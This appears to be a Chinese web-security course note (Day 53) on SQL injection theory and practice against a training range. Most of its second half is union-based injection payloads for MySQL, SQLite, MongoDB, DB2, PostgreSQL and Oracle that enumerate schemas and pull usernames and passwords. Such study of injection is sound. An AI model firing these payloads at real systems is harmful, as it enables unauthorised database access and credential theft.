web攻防-SQL注入&数据库类型&用户权限&架构分层&符号干扰&利用过程&发现思路(小迪安全Day53天)

数据库知识:

1、数据库名,表名,列名,数据

2、自带数据库,数据库用户及权限

mysql root最高权限用户

自带数据库:information_schema,mysql,performance_schema

testcms www.testcms.com 数据库用户 test

fastcms www.fastcms.com 数据库用户 fast

数据库用户:管理数据库的用户权限

一对一进行管理数据库,不会造成越级

3、数据库敏感函数,默认端口及应用

load_file()等

默认端口判断数据库类型

4、数据库查询方法(增加删除修改更新)

sql注入理论

产生原因:代码中执行的SQL语句存在可控变量导致

影响SQL注入的主要因素:
1、数据库类型(权限操作)

数据库的类型不同,攻击语句也不同

2、数据操作方法(增删改查)

判断sql注入操作点,比如可以添加数据库管理员的地方那么就要围绕insert语句进行注入

3、参数数据类型(符号干扰)

跟开发有关系,是整数型,还是字符型

4、参数数据格式(加密编码等)(这两者也可以融合在一起)

  • 加密解码

    代码逻辑,对数据进行解密解码,带入到sql执行中

    攻击时必须要把这个数据库按照他的加密或编码带进去

  • 数据格式

    代码逻辑,对数据进行格式提取,带入到sql执行中

    比如:

    • get

      ?id=1

      ?id=xiaodi

    • ?id={name:‘xiaodi’,passwd:‘12345’}

    • ?id=xiaodi12345

5、提交数据方式(数据包部分)

提交数据的方式不同,接受的地方也不同,sql注入产生的地方也会在看不到的地方,比如:

当要验证是否是手机端的,就会查找user-agent

web攻防-SQL注入&数据库类型&用户权限&架构分层&符号干扰&利用过程&发现思路(小迪安全Day53天)_第1张图片

6、有无数据处理(无回显逻辑等)

手段:延迟等

黑盒/白盒如何发现SQL注入

1、盲对所有参数进行测试

虽然覆盖全面,

但可能会有误测(false negative/false positive)。

  • 误测1:假阴性

    (未发现实际存在的 SQL 注入)

    • 如果某个参数的值经过加密或其他预处理(如编码、哈希),直接注入可能无效,导致测试工具测不出注入点。
    • 例如,如果参数是 id=123,但它在后台会被加密为 xyz789,那么直接对 id=123' OR '1'='1 进行测试是无效的,必须先分析加密方式,再构造合适的 payload。
  • 误测2:假阳性

    (误认为存在 SQL 注入)

    • 某些系统可能有自定义拦截机制或异常处理机制,导致返回的信息不标准,使得测试工具误判为 SQL 注入。

2、整合功能点脑补进行测试

适用于某些需要特定条件才能触发的 SQL 注入点。例如,某些 SQL 语句可能只有在用户拥有特定权限或者某个状态下才能执行,这种情况工具很难直接测出,需要手动推测并构造合适的测试数据。

白盒参考后期代码审计课程

利用过程:

获取数据库名->表名->列名->数据(一般是关键数据,如管理员)

靶场:https://mozhe.cn/Special/SQL_Injection

mysql

?id=1fsfafa

?id=-1 union select 1,2,3,4

?id=-1 union select 1,group_concat(database()),3,4

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’

?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’ and table_schema=‘mozhe_Discuz_StormGroup’

?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

sqLite

https://blog.csdn.net/qq_32393893/article/details/103083240

union select 1,name,sql,4 from sqlite_master limit 0,1

union select 1,name,password,4 from WSTMart_reg

MongoDB

https://blog.csdn.net/m0_75036923/article/details/141364038

id=1’});return ({title:‘1’,content:'2

'});return ({content:tojson(db.getCollectionNames()),title:'1

‘});return ({content:tojson(db.Authority_confidential.find()[0]),title:’

分析:

({'id':'$id'});return data;
({'id':'id=1'});return ({title:'1',content:'2'});return data;

DB2

id=-1 union select 1,2,3,4 from syscat.tables

id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1

id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1

id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname=‘GAME_CHARACTER’ limit 1,1

id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname=‘GAME_CHARACTER’ limit 2,1

id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1

id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 1,1

PostgreSQL

https://blog.csdn.net/2401_88387979/article/details/144275425

and 1=2 union select ‘null’,null,null,null

and 1=2 union select null,‘null’,null,null

and 1=2 union select null,null,string_agg(datname,‘,’),null from pg_database

and 1=2 union select null,null,string_agg(tablename,‘,’),null from pg_tables where schemaname=‘public’

and 1=2 union select null,null,string_agg(column_name,‘,’),null from information_schema.columns where table_name=‘reg_users’

and 1=2 union select null,string_agg(name,‘,’),string_agg(password,‘,’),null from reg_users

Oracle

https://blog.csdn.net/A2893992091/article/details/141365829

and 1=2 union select (select distinct owner from all_tables where rownum=1),‘2’ from dual

and 1=2 union select (select table_name from user_tables where rownum=1),‘2’ from dual

and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like ‘%user%’),‘2’ from dual

and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name=‘sns_users’),‘2’ from dual

and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name not in (‘USER_NAME’)),‘2’ from dual

and 1=2 union select USER_NAME,USER_PWD from “sns_users”

1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name=‘sns_users’ and column_name not in (‘USER_NAME’)),‘2’ from dual

and 1=2 union select USER_NAME,USER_PWD from “sns_users”

and 1=2 union select USER_NAME,USER_PWD from “sns_users” where user_name not in (‘hu’)

你可能感兴趣的:(小迪安全,sql,安全,web安全,数据库)